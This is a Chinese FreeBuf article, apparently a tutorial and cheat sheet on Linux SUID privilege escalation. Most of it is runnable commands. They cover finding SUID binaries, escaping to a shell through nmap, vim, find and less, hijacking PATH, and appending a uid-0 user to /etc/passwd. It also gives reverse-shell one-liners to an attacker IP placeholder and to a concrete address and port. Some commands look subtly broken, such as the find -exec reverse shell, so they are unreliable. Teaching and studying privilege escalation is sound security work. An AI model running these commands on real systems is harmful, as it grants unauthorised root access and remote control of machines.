freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Linux提权之suid提权
2023-09-09 12:37:42

Linux提权之suid提权

什么是suid?

suid(set user ID)是一种Linux文件权限,它允许用户在执行某个程序时,以该程序所有者的身份运行。这样,用户就可以获得该程序所有者的权限,从而执行一些需要高级权限的操作。

为什么suid可以用于提权?

suid可以用于提权,是因为有些程序在执行时需要比普通用户更高的权限,例如passwd、ping、su等。这些程序通常由root用户或其他特权用户拥有,并设置了suid位,以便其他用户可以使用它们。如果这些程序存在漏洞或者被恶意修改,那么执行它们的用户就可能以root或其他特权用户的身份执行任意命令,从而实现提权。

如何寻找和利用suid程序?

寻找和利用suid程序的步骤如下:

  • 使用find命令查找系统中设置了suid位的可执行文件。例如:

find / -perm -u=s -type f 2>/dev/null

这条命令的意思是查找系统中设置了suid位的可执行文件,并忽略错误信息。详细解释如下:

  • find是一个查找文件的工具,它可以根据不同的条件来搜索文件。

  • /是一个路径,表示从根目录开始搜索。

  • -perm -u=s是一个选项,表示只匹配那些用户(u)权限中包含suid(s)位的文件。suid位是一种特殊的文件权限,它允许用户在执行某个程序时,以该程序所有者的身份运行。

  • -type f是一个选项,表示只匹配那些类型(type)为普通文件(f)的文件。这样可以排除目录、链接、设备等其他类型的文件。

  • 2>/dev/null是一个重定向,表示将错误信息(2)输出到空设备(/dev/null),从而忽略错误信息。这样可以避免一些无关紧要的信息干扰搜索结果。

  • 分析找到的suid程序,判断是否存在漏洞或者是否可以被滥用。例如:

    • 判断是否可以使用shell命令作为参数传递给suid程序。例如:

    /usr/bin/nmap --interactive
    !sh

    这两条命令的意思是利用nmap的交互模式执行shell命令,从而获取suid提权。详细解释如下:

    • /usr/bin/nmap是一个端口扫描工具,它可以用来探测网络中的主机和服务。它的路径是/usr/bin/nmap,表示它位于/usr/bin目录下。

    • --interactive是一个选项,表示进入nmap的交互模式。在这个模式下,用户可以输入nmap的命令来执行扫描或者其他操作。

    • !sh是一个特殊的命令,表示在nmap的交互模式下,执行shell命令。在这里,!表示执行后面的命令,而不是nmap的命令。sh表示启动一个shell,也就是一个命令行界面。

      如果nmap有suid权限,那么执行这两条命令后,用户就可以以nmap的所有者(通常是root)的身份运行shell命令,从而实现提权。

    • 判断是否可以通过环境变量或者配置文件影响suid程序的行为。例如:

    export PATH=/tmp:$PATH
    echo "/bin/sh" > /tmp/cat
    chmod +x /tmp/cat
    /usr/bin/find / -exec cat {} \;
    • export PATH=/tmp:$PATH是一个设置环境变量的命令,它表示将/tmp目录添加到PATH变量的最前面。PATH变量是一个存储可执行文件路径的变量,当用户输入一个命令时,系统会按照PATH变量中的顺序,从左到右,依次查找该命令所在的目录。如果在某个目录中找到了该命令,那么就执行该命令。如果没有找到,那么就报错。

    • echo "/bin/sh" > /tmp/cat是一个输出字符串到文件的命令,它表示将字符串/bin/sh输出到/tmp/cat文件中。/bin/sh是一个shell程序的路径,它可以用来执行命令行界面。/tmp/cat是一个文件名,它和一个常用的查看文件内容的工具cat同名,这是故意的,为了后面的利用。

    • chmod +x /tmp/cat是一个修改文件权限的命令,它表示给予/tmp/cat文件可执行(x)权限。这样,该文件就可以被当作一个程序来运行。

    • /usr/bin/find / -exec cat {} \;是一个查找文件并执行命令的工具,它表示从根目录(/)开始查找所有的文件,并对每个找到的文件执行cat命令。cat命令本来是用来查看文件内容的,但是在这里,由于之前修改了环境变量和创建了同名文件,所以系统会优先执行/tmp/cat文件,而不是真正的cat工具。而/tmp/cat文件中的内容就是启动一个shell程序。因此,这条命令实际上就是对每个找到的文件都启动一个shell程序。

    • 如果find有suid权限,那么执行这四条命令后,用户就可以以find的所有者(通常是root)的身份运行shell程序,从而实现提权。

  • 利用找到的漏洞或者滥用方法,执行提权命令。例如:

    • 修改/etc/passwd文件,添加一个新的root用户。例如:

    echo "hacker:$(openssl passwd -1 -salt hacker hacker):0:0:hacker:/root:/bin/bash" >> /etc/passwd
    su hacker
  • 验证提权是否成功。例如:

id
whoami

以下是我整理的一些常见的suid提权的程序或命令,以及它们的利用方法:

  • nmap:nmap是一个端口扫描工具,如果它的版本在2.02-5.21之间,并且有suid权限,那么可以利用它的交互模式执行任意命令。具体步骤如下:

    • 运行nmap --interactive进入交互模式

    • 运行!sh或者其他命令获取shell

    • 如果需要反弹shell,可以运行!bash -i >& /dev/tcp/攻击者IP/端口 0>&1

  • vim:vim是一个文本编辑器,如果它有suid权限,那么可以利用它的shell选项执行任意命令。具体步骤如下:

    • 运行vim.tiny或者其他版本的vim

    • 按下ESC键,输入:set shell=/bin/sh

    • 输入:shell获取shell

  • find:find是一个查找文件的工具,如果它有suid权限,那么可以利用它的-exec选项执行任意命令。具体步骤如下:

    • 运行find / -exec /bin/sh \;获取shell

    • 如果需要反弹shell,可以运行find / -exec bash -i >& /dev/tcp/192.168.106.139/4450 0>&1 \;

  • less/more:less和more是两个查看文件内容的工具,如果它们有suid权限,那么可以利用它们的!选项执行任意命令。具体步骤如下:

    • 运行less /etc/passwd或者more /etc/passwd

    • 输入!/bin/sh或者其他命令获取shell

  • cp/mv:cp和mv是两个复制和移动文件的工具,如果它们有suid权限,那么可以利用它们覆盖一些敏感文件,例如/etc/passwd或者/etc/shadow。具体步骤如下:

    • 创建一个新的passwd或者shadow文件,其中包含一个新的root用户和密码

    • 运行cp 新文件 /etc/passwd或者mv 新文件 /etc/passwd

    • 运行su 新用户获取root权限

# 漏洞 # 系统安全
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录